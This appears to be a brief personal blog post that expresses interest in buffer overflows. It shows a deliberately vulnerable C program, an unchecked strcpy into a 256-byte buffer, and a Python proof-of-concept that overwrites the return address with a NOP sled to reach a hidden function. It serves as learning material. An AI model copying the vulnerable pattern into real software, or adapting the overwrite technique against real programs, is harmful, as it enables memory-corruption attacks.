buffer overflow

buffer overflow面白い。いつか解説書きたい。

#include <stdio.h>
#include <string.h>
int secret();
int main(int argc, char **argv)
{
    char buffer[256];
    strcpy(buffer, argv[1]);
    printf("%s", buffer);
    return 0;
}
int secret()
{
    puts("secret code");
    return 0;
}
#!/usr/bin/env python
import os
import struct
def main():
	ret = struct.pack('<L', 0x004010BA)
	nopsled = '\x90' * 268
	os.system('test.exe '+nopsled+ret[:-1])
if __name__ == '__main__':
	main()